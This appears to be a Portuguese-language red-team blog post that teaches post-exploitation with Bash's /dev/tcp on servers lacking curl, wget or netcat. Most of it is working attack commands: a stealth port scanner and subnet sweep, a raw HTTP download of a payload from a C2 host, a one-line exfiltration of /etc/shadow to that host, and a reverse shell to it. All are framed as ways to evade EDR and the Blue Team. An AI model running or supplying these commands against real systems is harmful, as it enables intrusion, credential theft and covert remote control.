RETURN_TO_BASE
LANG_SELECT:
Red Team 2026-03-12 @reeshasx

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

[ 0x00 ] A CENA DO CRIME

Imagine o cenário: você finalmente consegue aquele sonhado RCE (Remote Code Execution) num container ou servidor mal configurado. Você manda aquele whoami e vê que é root. A adrenalina bate. Aí você vai baixar o seu rootkit ou script de exfiltração:

$ wget http://meu-c2.com/payload.sh
bash: wget: command not found
$ curl http://meu-c2.com/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

O dev da empresa foi safo. Ele usou uma imagem Docker mega minimalista (tipo Alpine) e tirou todas as ferramentas úteis. E agora? Você chora? Não, você lembra que o Bash é maravilhoso e tem o /dev/tcp.

[ 0x01 ] MAGIA NEGRA DO KERNEL? NÃO, APENAS BASH

O diretório /dev/tcp não é um arquivo real no Linux. Ele é uma funcionalidade embutida diretamente no shell (Bash). Se você redirecionar dados para /dev/tcp/HOST/PORTA, o Bash magicamente abre um socket de rede pra você.

Vamos brincar de port scanner sem Nmap? Olha como é estupidamente simples testar se a porta 80 tá aberta num alvo:

if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "Porta 80 aberta meu rei"
fi

Faz um loop em for do 1 ao 1024 e você acabou de criar o port scanner mais minimalista do planeta. O Blue Team não vai ver um processo de nmap ou rustscan pipocando nos logs do EDR, só o próprio bash executando redirecionamentos normais.

[ 0x02 ] BAIXANDO ARQUIVOS (O CURL DO PARAGUAI)

Legal, posso escanear. Mas e pra baixar o meu malware? Pra isso, precisamos construir uma requisição HTTP "na mão". HTTP nada mais é do que enviar um texto pedindo um arquivo e ler a resposta.

Usando file descriptors (exec 3<>), a gente abre a conexão de leitura e escrita:

exec 3<>/dev/tcp/meu-c2.com/80
echo -e "GET /payload.sh HTTP/1.1\r\nHost: meu-c2.com\r\nConnection: close\r\n\r\n" >&3
cat <&3 > payload.sh

BUM! Seu payload tá no servidor. Sem usar nenhum binário adicional, usando 100% de funções built-in do shell. A chance de isso ser detectado por um antivírus que só monitora chamadas a ferramentas conhecidas é praticamente zero.

[ 0x03 ] EXFILTRANDO DADOS NO MODO STEALTH

Pegou a senha do banco de dados no /etc/shadow e quer mandar pra você? Inverte o processo. No seu servidor (C2) você deixa um netcat ouvindo: nc -lvnp 4444.

E na máquina vítima:

cat /etc/shadow > /dev/tcp/meu-c2.com/4444

Sim, é só isso. Um comando. Sem dependências, sem frescura. O /dev/tcp é o melhor amigo do hacker pós-exploração.

[ 0x04 ] PING SWEEPS SEM PING

Se o ICMP (ping) está bloqueado pelo firewall de saída, você não consegue mapear a rede interna. Certo? Errado. Você pode usar a mesma técnica da porta 80 para mapear a rede. Ao iterar pelo último octeto do IP (1 a 254) e testar portas comuns como 445 (SMB) ou 22 (SSH), você acha as outras máquinas da rede.

for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "Host 10.0.0.$ip está vivo!" &
done
wait

E como jogamos para background com o &, o scan inteiro da sub-rede /24 termina em menos de 1 segundo.

[ 0x05 ] O CLÁSSICO REVERSE SHELL

Não poderia terminar sem falar do payload mais famoso. Se você quer transformar esse RCE pontual num shell interativo na sua máquina:

bash -i >& /dev/tcp/meu-c2.com/9001 0>&1

Isso redireciona o stdin, stdout e stderr do Bash diretamente para a conexão socket. Você ganha controle total da máquina sem nunca ter "baixado" um binário malicioso. Apenas redirecionamentos mágicos do kernel. Da próxima vez que pegar um shell capado, não se desespere. O shell tem tudo o que você precisa.

#bash #networking #exfiltration #post-exploitation
ID: recon-without-tools
RYSHA DATABASE CORE SYSTEM // STANDALONE_VIEWER_PROTOCOL_ACTIVATED